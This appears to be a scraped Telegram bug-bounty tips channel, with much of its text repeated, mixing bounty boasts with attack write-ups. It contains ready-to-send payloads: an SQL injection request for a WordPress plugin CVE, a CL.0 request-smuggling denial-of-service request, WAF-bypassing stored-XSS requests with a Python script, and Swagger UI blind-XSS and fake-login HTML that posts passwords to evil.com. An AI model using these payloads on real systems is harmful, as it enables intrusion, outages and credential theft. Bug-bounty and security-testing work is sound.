I was awarded a $1,000 bounty on @Hacker0x01 πͺ
TipπββοΈ: Check for all smuggling types during your Tests.
πJoin my Telegram channel for more tipsπ t.me/kassems94
#bugbountytips
#bugbounty
#hacking
#hackers
#TogetherWeHitHarder
TipπββοΈ: Check for all smuggling types during your Tests.
πJoin my Telegram channel for more tipsπ t.me/kassems94
#bugbountytips
#bugbounty
#hacking
#hackers
#TogetherWeHitHarder
π8π€·1
Bugπ: POST REQUEST SQLI with full data dump
TipπββοΈ: test for sqli on all authenticated POST requests parameters
πJoin my Telegram channel for more tipsπ t.me/kassems94
#bugbountytips
#bugbounty
#hacking
#hackers
#TogetherWeHitHarder
TipπββοΈ: test for sqli on all authenticated POST requests parameters
πJoin my Telegram channel for more tipsπ t.me/kassems94
#bugbountytips
#bugbounty
#hacking
#hackers
#TogetherWeHitHarder
π₯8π€·ββ2π1
Bugπ: PII LEAK
TipπββοΈ: Always read the source of the pages and check every endpointβ οΈπͺ
πJoin my Telegram channel for more tipsπ t.me/kassems94
#bugbountytips
#bugbounty
#hacking
#hackers
#TogetherWeHitHarder
TipπββοΈ: Always read the source of the pages and check every endpointβ οΈπͺ
πJoin my Telegram channel for more tipsπ t.me/kassems94
#bugbountytips
#bugbounty
#hacking
#hackers
#TogetherWeHitHarder
π15β€2π2π₯1
Bug-bounty-tipsππ°
Bugπ: PII LEAK TipπββοΈ: Always read the source of the pages and check every endpointβ οΈπͺ
πJoin my Telegram channel for more tipsπ t.me/kassems94 #bugbountytips #bugbounty #hacking #hackers #TogetherWeHitHarder
When access the same endpoint on the UI version i cant see any data , but using burp repeater I was able to access these informations, also this endpoint found at the source of the pageπ¨
π12π4β‘3
Bugπ: PII LEAK on Unprotected Endpoint.
TipπββοΈ: Always read the source of the pages and check every endpointπͺ
πJoin my Telegram channel for more tipsπ t.me/kassems94
#bugbountytips
#bugbounty
#hacking
#hackers
#TogetherWeHitHarder
TipπββοΈ: Always read the source of the pages and check every endpointπͺ
πJoin my Telegram channel for more tipsπ t.me/kassems94
#bugbountytips
#bugbounty
#hacking
#hackers
#TogetherWeHitHarder
β€8
π₯π₯Againπ₯π₯
Bugπ: PII LEAK on Unprotected Endpoint.[3K records]
TipπββοΈ: Always read the source of the pages and check every endpointπͺ
πJoin my Telegram channel for more tipsπ t.me/kassems94
#bugbountytips
#bugbounty
#hacking
#hackers
#TogetherWeHitHarder
Bugπ: PII LEAK on Unprotected Endpoint.[3K records]
TipπββοΈ: Always read the source of the pages and check every endpointπͺ
πJoin my Telegram channel for more tipsπ t.me/kassems94
#bugbountytips
#bugbounty
#hacking
#hackers
#TogetherWeHitHarder
β€11π1
Bugπ: IDOR lead to leak agent data and messages.
TipπββοΈ: FUZZ 1st and second and 3rd /dir.
πJoin my Telegram channel for more tipsπ t.me/kassems94
#bugbountytips
#bugbounty
#hacking
#hackers
#TogetherWeHitHarder
TipπββοΈ: FUZZ 1st and second and 3rd /dir.
πJoin my Telegram channel for more tipsπ t.me/kassems94
#bugbountytips
#bugbounty
#hacking
#hackers
#TogetherWeHitHarder
π₯11π2π2β€1
CVE-2021-24456 is a vulnerability in the WordPress plugin Quiz And Survey Master (QSM) versions prior to 7.0.1, which allowed unauthenticated users to perform SQL Injection via the question_id parameter in a request to the qsm_get_questions AJAX action.
Below is a simple Proof of Concept (PoC) showing how the SQL injection could be executed:
---
PoC: Unauthenticated SQL Injection
Vulnerable Plugin: Quiz And Survey Master
Affected Versions: < 7.0.1
Vulnerability Type: SQL Injection
CVE: CVE-2021-24456
HTTP Request PoC
POST /wp-admin/admin-ajax.php?action=qsm_get_questions HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 100
question_id=1%20UNION%20SELECT%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19--+
Explanation:
The plugin registered an AJAX action qsm_get_questions accessible without authentication.
The question_id parameter is vulnerable to SQL injection.
The SQL payload is inserted to extract or test data (e.g., with UNION-based injection).
---
References:
Patchstack Advisory
NVD - CVE-2021-24456
WPScan Advisory
---
Below is a simple Proof of Concept (PoC) showing how the SQL injection could be executed:
---
PoC: Unauthenticated SQL Injection
Vulnerable Plugin: Quiz And Survey Master
Affected Versions: < 7.0.1
Vulnerability Type: SQL Injection
CVE: CVE-2021-24456
HTTP Request PoC
POST /wp-admin/admin-ajax.php?action=qsm_get_questions HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 100
question_id=1%20UNION%20SELECT%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19--+
Explanation:
The plugin registered an AJAX action qsm_get_questions accessible without authentication.
The question_id parameter is vulnerable to SQL injection.
The SQL payload is inserted to extract or test data (e.g., with UNION-based injection).
---
References:
Patchstack Advisory
NVD - CVE-2021-24456
WPScan Advisory
---
π₯15π5β€4π3π1
Happy to join the 10K Reputation Points Club @Hacker0x01 πͺ
π
I thank this great platform for the wonderful opportunities it offers usπ₯π«‘
πJoin my Telegram channel for BB tipsπ t.me/kassems94
#bugbountytips
#bugbounty
#hacking
#hackers
#TogetherWeHitHarder
I thank this great platform for the wonderful opportunities it offers usπ₯π«‘
πJoin my Telegram channel for BB tipsπ t.me/kassems94
#bugbountytips
#bugbounty
#hacking
#hackers
#TogetherWeHitHarder
β€8π4π3β‘2
[CVE-2025-31650] Apache Tomcat DoS via Malformed HTTP Priority Headers
A critical vulnerability in Apache Tomcat allows remote attackers to crash servers by sending malformed HTTP Priority headers, leading to memory leaks and denial of service (DoS).
Affected Versions:
Tomcat 9.0.76 β 9.0.102
Tomcat 10.1.10 β 10.1.39
Tomcat 11.0.0-M2 β 11.0.5
Fixed in:
Tomcat 9.0.104
Tomcat 10.1.40
Tomcat 11.0.6
Whatβs the issue?
Tomcat fails to fully clean up malformed HTTP requests containing invalid Priority headers (RFC 9218), eventually triggering OutOfMemoryException.
Examples of malicious headers:
Priority: u=-1
Priority: u=abc
Priority: u=8
Priority:
Priority: i=maybe
Priority: u=3, i=1
Priority: foo=bar
Impact:
No authentication needed β attackers can exhaust server memory remotely.
Mitigation:
Update to the latest version of Tomcat.
Use a reverse proxy to strip malformed Priority headers.
Set up rate limiting and monitor memory usage.
Details:
CVE: https://nvd.nist.gov/vuln/detail/CVE-2025-31650
RFC 9218: https://www.rfc-editor.org/rfc/rfc9218.html
Apache Advisory: https://lists.apache.org/thread/j6zzk0y3yym9pzfzkq5vcyxzz0yzh826
Stay safe, patch early!
---
A critical vulnerability in Apache Tomcat allows remote attackers to crash servers by sending malformed HTTP Priority headers, leading to memory leaks and denial of service (DoS).
Affected Versions:
Tomcat 9.0.76 β 9.0.102
Tomcat 10.1.10 β 10.1.39
Tomcat 11.0.0-M2 β 11.0.5
Fixed in:
Tomcat 9.0.104
Tomcat 10.1.40
Tomcat 11.0.6
Whatβs the issue?
Tomcat fails to fully clean up malformed HTTP requests containing invalid Priority headers (RFC 9218), eventually triggering OutOfMemoryException.
Examples of malicious headers:
Priority: u=-1
Priority: u=abc
Priority: u=8
Priority:
Priority: i=maybe
Priority: u=3, i=1
Priority: foo=bar
Impact:
No authentication needed β attackers can exhaust server memory remotely.
Mitigation:
Update to the latest version of Tomcat.
Use a reverse proxy to strip malformed Priority headers.
Set up rate limiting and monitor memory usage.
Details:
CVE: https://nvd.nist.gov/vuln/detail/CVE-2025-31650
RFC 9218: https://www.rfc-editor.org/rfc/rfc9218.html
Apache Advisory: https://lists.apache.org/thread/j6zzk0y3yym9pzfzkq5vcyxzz0yzh826
Stay safe, patch early!
---
www.rfc-editor.org
RFC 9218: Extensible Prioritization Scheme for HTTP
This document describes a scheme that allows an HTTP client to communicate its
preferences for how the upstream server prioritizes responses to its requests,
and also allows a server to hint to a downstream intermediary how its responses
should be prioritizedβ¦
preferences for how the upstream server prioritizes responses to its requests,
and also allows a server to hint to a downstream intermediary how its responses
should be prioritizedβ¦
π9β€5
CL.0 HTTP Smuggling β Limited DoS
1. What happens?
CL.0 smuggling exploits a mismatch where the frontβend honors Content-Length: 0 but the backβend still reads any extra bytes sent afterward .
2. Exploit (PoC)
POST /upload HTTP/1.1
Host: target.com
Content-Length: 0
[100 KB of βAβ padding here]
GET /healthcheck HTTP/1.1
Host: target.com
The frontβend closes the request immediately, while the backβend queues the 100 KB payload then hangs on the pipelined GET, consuming a worker slot .
3. Impact: Limited DoS
Each smuggled payload ties up a backend thread or connection. Repeating this depletes available workers, degrading service availability .
4. Detection
Enable verbose reverseβproxy logging to spot requests with Content-Length: 0 carrying unexpected payloads .
Monitor backend queue lengths for unusual stalls after zeroβlength frames .
1. What happens?
CL.0 smuggling exploits a mismatch where the frontβend honors Content-Length: 0 but the backβend still reads any extra bytes sent afterward .
2. Exploit (PoC)
POST /upload HTTP/1.1
Host: target.com
Content-Length: 0
[100 KB of βAβ padding here]
GET /healthcheck HTTP/1.1
Host: target.com
The frontβend closes the request immediately, while the backβend queues the 100 KB payload then hangs on the pipelined GET, consuming a worker slot .
3. Impact: Limited DoS
Each smuggled payload ties up a backend thread or connection. Repeating this depletes available workers, degrading service availability .
4. Detection
Enable verbose reverseβproxy logging to spot requests with Content-Length: 0 carrying unexpected payloads .
Monitor backend queue lengths for unusual stalls after zeroβlength frames .
π13β€9
Is there an interest in learning Hardware Pentesting and IoT Security Basics? and if yes ,will you pay 10$ To get a course about that?
Anonymous Poll
20%
Yeah, I'm interested. I'll pay $10 for that course.
23%
No, I'm not interested in IOT pentest
57%
Yes, im interested but i will not pay 10$ to buy an IOT Course.
π7
Bug-bounty-tipsππ°
Is there an interest in learning Hardware Pentesting and IoT Security Basics? and if yes ,will you pay 10$ To get a course about that?
Guys, don't be shy about voting, it's free!
π₯3β€2
Bugπ: access to users records using public airtable url.
TipπββοΈ: check for airtable urls on every .js files and you may found the gold there.
πJoin my Telegram channel for more tipsπ t.me/kassems94
#bugbountytips
#bugbounty
#hacking
#TogetherWeHitHarder
TipπββοΈ: check for airtable urls on every .js files and you may found the gold there.
πJoin my Telegram channel for more tipsπ t.me/kassems94
#bugbountytips
#bugbounty
#hacking
#TogetherWeHitHarder
Telegram
Bug-bounty-tipsππ°
Sharing tips and Tools for bugbounty
For anyone who doesn't know me, please visit my X page @kassem_s94
Ranked #30 Globally in Web-App Assets Bug Bounty on HackerOne in 2024.
My Toolkit:
secret hunter
xoxo xss
dep_hunter
poisoner PRO
ssrf tool
aurora
For anyone who doesn't know me, please visit my X page @kassem_s94
Ranked #30 Globally in Web-App Assets Bug Bounty on HackerOne in 2024.
My Toolkit:
secret hunter
xoxo xss
dep_hunter
poisoner PRO
ssrf tool
aurora
π4π₯1π1
π₯ Tips to Hunt Subdomain Takeovers π₯
1οΈβ£ Scan JavaScript Files
Look inside .js for hardcoded subdomains
π layout-*.js, app-*.js, etc.
2οΈβ£ Check DNS (CNAME)
Look for subdomains pointing to services like Vercel, Heroku, GitHub Pages
π§ dig, host, nslookup
3οΈβ£ Visit & Inspect Errors
Subdomain shows "project not found"?
π¨ Could be vulnerable!
4οΈβ£ Try to Claim It
Deploy a project with the same name on the linked service
βοΈ Especially on platforms like vercel.app
5οΈβ£ Use Automation Tools
π οΈ subzy, tko-subs, nuclei
6οΈβ£ Explore Public Repos
Find .vercel, deployment configs, or exposed project names
π¦ GitHub is gold!
1οΈβ£ Scan JavaScript Files
Look inside .js for hardcoded subdomains
π layout-*.js, app-*.js, etc.
2οΈβ£ Check DNS (CNAME)
Look for subdomains pointing to services like Vercel, Heroku, GitHub Pages
π§ dig, host, nslookup
3οΈβ£ Visit & Inspect Errors
Subdomain shows "project not found"?
π¨ Could be vulnerable!
4οΈβ£ Try to Claim It
Deploy a project with the same name on the linked service
βοΈ Especially on platforms like vercel.app
5οΈβ£ Use Automation Tools
π οΈ subzy, tko-subs, nuclei
6οΈβ£ Explore Public Repos
Find .vercel, deployment configs, or exposed project names
π¦ GitHub is gold!
π7β€1
Bugπ:subdomain takeover
TipπββοΈ: Look inside .js bundles for hardcoded subdomains and you may find the silver (its not gold lolπ) there also.
πJoin my Telegram channel for more tipsπ t.me/kassems94
#bugbountytips
#bugbounty
#hacking
#TogetherWeHitHarder
TipπββοΈ: Look inside .js bundles for hardcoded subdomains and you may find the silver (its not gold lolπ) there also.
πJoin my Telegram channel for more tipsπ t.me/kassems94
#bugbountytips
#bugbounty
#hacking
#TogetherWeHitHarder
π8β€4π₯4
Bountyπ°:1000$
Bugπ:Bypass the Rate-Limit on login page using '%00' [OLD BUT GOLDπͺ ].
TipπββοΈ: Try using %00 after the email when testing for RL bugs, this will bypass the validation sometimes.
πJoin my Telegram channel for more tipsπ t.me/kassems94
#bugbountytips
#bugbounty
#hacking
#TogetherWeHitHarder
Bugπ:Bypass the Rate-Limit on login page using '%00' [OLD BUT GOLDπͺ ].
TipπββοΈ: Try using %00 after the email when testing for RL bugs, this will bypass the validation sometimes.
πJoin my Telegram channel for more tipsπ t.me/kassems94
#bugbountytips
#bugbounty
#hacking
#TogetherWeHitHarder
π16π₯9β€4π1
π Bypassing WAFs Using Content-Encoding Header in Stored XSS Hunting
When hunting for stored XSS, WAFs (Web Application Firewalls) can block common payloads. But there's a sneaky technique that can bypass them β using the Content-Encoding header.
π‘ Two Tricks:
1οΈβ£ Valid Compression (e.g. gzip, deflate)
Compress your payload.
Send it with Content-Encoding: gzip.
Many WAFs won't decompress it and will miss the XSS.
2οΈβ£ Fake or Random Content-Encoding
Use a random or incorrect value like Content-Encoding: xyz.
Some backends ignore unknown encodings and just process the request body normally.
Meanwhile, some WAFs may skip inspection or break when parsing the unknown encoding β leading to a bypass.
π Example with gzip compression:
POST /submit-comment HTTP/1.1
Host: target.com
Content-Encoding: gzip
Content-Type: application/x-www-form-urlencoded
[ gzip-compressed payload with: <script>alert(1)</script> ]
π Example with fake encoding:
POST /submit-comment HTTP/1.1
Host: target.com
Content-Encoding: x-nonsense
Content-Type: application/x-www-form-urlencoded
comment=<script>alert(1)</script>
π§ Why it works:
WAFs might block based on the header alone or misinterpret it.
The backend may not enforce the declared encoding and just process the raw body.
π οΈ Python Example:
import requests
payload = 'comment=<script>alert(1)</script>'
headers = {
'Content-Encoding': 'x-xyz123', # Random/fake value
'Content-Type': 'application/x-www-form-urlencoded'
}
requests.post('https://target.com/submit-comment', data=payload, headers=headers)
β οΈ Notes:
Behavior varies between servers and WAFs.
Best used when stored content is later rendered in a browser (Stored XSS).
Always test on a case-by-case basis.
---
#BugBounty #StoredXSS #WAFBypass #XSS #InfoSec #WebSecurity #ContentEncoding
When hunting for stored XSS, WAFs (Web Application Firewalls) can block common payloads. But there's a sneaky technique that can bypass them β using the Content-Encoding header.
π‘ Two Tricks:
1οΈβ£ Valid Compression (e.g. gzip, deflate)
Compress your payload.
Send it with Content-Encoding: gzip.
Many WAFs won't decompress it and will miss the XSS.
2οΈβ£ Fake or Random Content-Encoding
Use a random or incorrect value like Content-Encoding: xyz.
Some backends ignore unknown encodings and just process the request body normally.
Meanwhile, some WAFs may skip inspection or break when parsing the unknown encoding β leading to a bypass.
π Example with gzip compression:
POST /submit-comment HTTP/1.1
Host: target.com
Content-Encoding: gzip
Content-Type: application/x-www-form-urlencoded
[ gzip-compressed payload with: <script>alert(1)</script> ]
π Example with fake encoding:
POST /submit-comment HTTP/1.1
Host: target.com
Content-Encoding: x-nonsense
Content-Type: application/x-www-form-urlencoded
comment=<script>alert(1)</script>
π§ Why it works:
WAFs might block based on the header alone or misinterpret it.
The backend may not enforce the declared encoding and just process the raw body.
π οΈ Python Example:
import requests
payload = 'comment=<script>alert(1)</script>'
headers = {
'Content-Encoding': 'x-xyz123', # Random/fake value
'Content-Type': 'application/x-www-form-urlencoded'
}
requests.post('https://target.com/submit-comment', data=payload, headers=headers)
β οΈ Notes:
Behavior varies between servers and WAFs.
Best used when stored content is later rendered in a browser (Stored XSS).
Always test on a case-by-case basis.
---
#BugBounty #StoredXSS #WAFBypass #XSS #InfoSec #WebSecurity #ContentEncoding
π5π₯3β€2
π¨ Blind XSS & HTML Injection in Exposed Swagger UI
π Swagger UI Exposure = Attack Surface
Many Swagger UIs are exposed publicly in production. You can find them using Google & GitHub dorks like:
π Google Dorks:
inurl:/swagger-ui/?url=
inurl:/swagger-ui/index.html
intitle:"Swagger UI"
π GitHub Dorks:
filename:swagger.json "swagger-ui"
filename:swagger-config.json
---
π Blind XSS via ?url= or ?configUrl=
Swagger UI loads external API specs from ?url= or ?configUrl= and renders untrusted JSON/YAML fields into the page without sanitization.
β Blind XSS payload:
{
"info": {
"title": "<script src=//xsshunter.yourdomain.js></script>"
}
}
π§ Send the target:
https://target.com/swagger-ui/?url=https://evil.com/payload.json
βοΈ The payload triggers XSS when opened by internal staff (QA/dev/admin).
---
π§ Elevate Impact with HTMli β Fake Login Page
If full XSS is blocked (via CSP), you can inject HTML that mimics a login page, increasing severity due to phishing risk.
π HTMli Payload:
{
"info": {
"title": "<h2>Session Expired</h2><form action='https://evil.com/steal' method='POST'><input type='text' name='user' placeholder='Username'><br><input type='password' name='pass' placeholder='Password'><br><button type='submit'>Login</button></form>"
}
}
β‘οΈ Injects a credential-harvesting form inside the Swagger UI.
𧨠This tricks internal users into entering creds β high-impact phishing vector.
π Swagger UI Exposure = Attack Surface
Many Swagger UIs are exposed publicly in production. You can find them using Google & GitHub dorks like:
π Google Dorks:
inurl:/swagger-ui/?url=
inurl:/swagger-ui/index.html
intitle:"Swagger UI"
π GitHub Dorks:
filename:swagger.json "swagger-ui"
filename:swagger-config.json
---
π Blind XSS via ?url= or ?configUrl=
Swagger UI loads external API specs from ?url= or ?configUrl= and renders untrusted JSON/YAML fields into the page without sanitization.
β Blind XSS payload:
{
"info": {
"title": "<script src=//xsshunter.yourdomain.js></script>"
}
}
π§ Send the target:
https://target.com/swagger-ui/?url=https://evil.com/payload.json
βοΈ The payload triggers XSS when opened by internal staff (QA/dev/admin).
---
π§ Elevate Impact with HTMli β Fake Login Page
If full XSS is blocked (via CSP), you can inject HTML that mimics a login page, increasing severity due to phishing risk.
π HTMli Payload:
{
"info": {
"title": "<h2>Session Expired</h2><form action='https://evil.com/steal' method='POST'><input type='text' name='user' placeholder='Username'><br><input type='password' name='pass' placeholder='Password'><br><button type='submit'>Login</button></form>"
}
}
β‘οΈ Injects a credential-harvesting form inside the Swagger UI.
𧨠This tricks internal users into entering creds β high-impact phishing vector.
π₯6β€5
Bountyπ°:1000$.
Bugπ:Creating support tickets in any user account.
TipπββοΈ: on the support form request try to add some-email related-parametersπͺ .
πJoin my Telegram channel for more tipsπ t.me/kassems94
#bugbountytips
#bugbounty
#hacking
#TogetherWeHitHarder
Bugπ:Creating support tickets in any user account.
TipπββοΈ: on the support form request try to add some-email related-parametersπͺ .
πJoin my Telegram channel for more tipsπ t.me/kassems94
#bugbountytips
#bugbounty
#hacking
#TogetherWeHitHarder
π₯8β€1π1